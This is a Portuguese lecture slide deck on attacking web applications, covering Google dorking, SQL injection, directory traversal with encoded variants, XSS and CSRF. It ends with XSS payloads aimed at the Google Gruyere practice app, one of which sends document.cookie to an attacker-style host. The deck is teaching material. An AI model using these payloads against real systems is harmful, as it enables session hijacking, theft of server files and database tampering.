Ataques à Aplicações Web - Uma visão prática -
Prof. Me. Carlos Nilton A. Corrêa http://www.carlosnilton.com.br/
@cnacorrea
Objetivo
• Conhecer, descrever e realizar baseados na Web: roubo de sessões, XSS, XSRF, XSSI.
• Também são apresentados ataques na camada de aplicação: SQL Injection, directory traversal, injeção de comandos, overflows.
Vulnerabilidades da web
Fonte: Projeto OWASP
Information leakage?
• Consultas no Google!
– Podem equivaler a um “nmap da web”
dom:<domínio> ext:<extensão> <string>
SQL Injection
• Em sua forma mais básica, um ataque em que um formulário (ou outra forma de entrada) é preenchido com informações que interferem no fluxo de execução de consultas de um banco de dados
• Frequentemente aplicado em etapas de login. Também é comum que um desenvolvedor, equivocadamente, proteja apenas esta seção de um sistema web contra injeções – quando o correto é que se assegure todo o código.
Exemplo básico
• Isto:
SELECT * FROM Bugs
WHERE bug_id = $_GET['bugid'];
• Pode resultar nesta instrução!
SELECT * FROM Bugs
WHERE bug_id = 1234 OR TRUE;
Um caso pior!
UPDATE Accounts
SET password = SHA2('$password')
WHERE account_id = $account_id;
• Vira...
UPDATE Accounts
SET password = SHA2('xyzzy', admin='1')
WHERE account_id = 1234 OR TRUE
Directory traversal
• Tipo de ataque que faz com que uma aplicação web acesse um arquivo não-desejado
• Ocorre quanto um programa do tipo (geralmente um CGI) não trata adequadamente seus parâmetros de entrada
• Se um dos parâmetros indica um nome de arquivo, é possível manipulá-lo para que aponte para arquivos arbitrários no sistema do servidor
Exemplo básico (PHP/Linux)
• Suponha um script que suporte isto:
• http://www.xxx.com/members/seepic.cgi?arq=001.jpg
<?
...
/* le imagem a ser exibida */
arqimg = fopen(“/amadoras/”.$_GET['arq'], “r”);
imagem = fread($handle, filesize($arqimg));
print $imagem;
fclose($arqimg);
?>
Imagine agora este acesso...
http://www.xxx.com/members/seepic.cgi?arq=../../../../../../../../../../etc/passwd
Directory traversal no Windows
• O caractere utilizado como separador de caminhos no Windows é “\”, o que de algum modo particulariza os ataques a esta plataforma
• Não obstante, cada vez mais APIs Windows têm suportado o caractere “/” em diretórios
• Uma vez que sistemas Windows não contam com uma árvore de diretórios unificada, ataques do tipo ficam restritos à partição em que os arquivos sendo “servidos” estiverem localizados
Variantes do ataque (1)
Para evitar detecção por sistemas sensíveis a
parâmetros que possuam caracteres como “/”, alguns ataques usam caminhos codificados
Uma possibilidade é utilizar parâmetros com
codificação de URL:
seepic.cgi?arq=%2e%2e%2f... → (../)
seepic.cgi?arq=%2e%2e%5c... → (..\)
Variantes do ataque (2)
No passado, caracteres da plataforma Windows
também podiam ser especificados por seu código Unicode
Esta é uma codificação universal de 16 bits para
representar símbolos em qualquer linguagem http://address.of.iis5.system/scripts/..%c0%af../winnt/system32
/cmd.exe?/c+dir+c:\
(%c0%af == '/')
(%c1%9c == '\')
XSS – Cross Site Scripting
“Através de um XSS, o Cracker injeta codigos JavaScript em um campo texto de uma página já existente e este JavaScript é apresentado para outros usuários.”
-- Wikipédia
XSRF (ou CSRF)
• Técnica em que o atacante se vale de informações de sessão previamente existentes no browser de um usuário para forjar requisições ou disparar ações nocivas
• Pode ser utilizado como parte de um ataque de XSS (cross-site scripting)
• Geralmente envolve algum tipo de engenharia social ou alguma forma de acesso à vítima
Google Gruyere
• http://google-gruyere.appspot.com/
• Aplicação propositalmente desenvolvida com bugs
• Um “testbed” para experiências em segurança
Google Gruyere
Ataques orientados ao Gruyere
• Básicos
– Cadastrar um item com nome: zezi<a href="lalala">nho</a>
– Ou com o nome: <b>Isto é um teste.</b><a
href="http://www.malvado.com/">link</a>
– Ou ainda: <P class=dev>Point your mouse <A
onmouseover="alert('This is an alert
box!')" href="">here</A></P>
Ataques orientados ao Gruyere
• Internet Explorer 9 (Ago/2011) <a href="http://google-
gruyere.appspot.com/751162075406/snippets.gtl?uid=
<script>alert('SEGURA PEAO')</script>">Este é o
super novo queijo</a>
<a href="http://google-
gruyere.appspot.com/751162075406/snippets.gtl?uid=
<script>window.open('http://www.google.com.br/')</
script>">Este é o super novo queijo</a>
Ataques orientados ao Gruyere
• Começando a ficar sem-graça... <a href="http://google-
gruyere.appspot.com/751162075406/snippets.gtl?uid=
<script>alert(document.cookie)</script>">Este é o
super novo queijo</a>
Ataques orientados ao Gruyere
• Fazendo algo desagradável... <a href="http://google-
gruyere.appspot.com/751162075406/snippets.
gtl?uid=<script>window.open("http://www.pe
godadosdoseubanco.com.br/salva.php?cook="
+ document.cookie)</script>">Este é o
super novo queijo</a>
• Vejamos um exemplo de script para salvar dados...
Ataques orientados ao Gruyere
• Indo além do pedagógico! http://google-gruyere.appspot.com/751162075406/snippets.gtl?uid=%3Ciframe%20src=%22http://www.google.com.br%22%20width=%22100%%22%20height=%22100%%22%3E%3Cp%3EEntrar%20em%20contato%20com%20o%20seu%20banco.%3C/p%3E%3C/iframe%3E
Obrigado!!
Prof. Me. Carlos Nilton A. Corrêa http://www.carlosnilton.com.br/
@cnacorrea
Top Related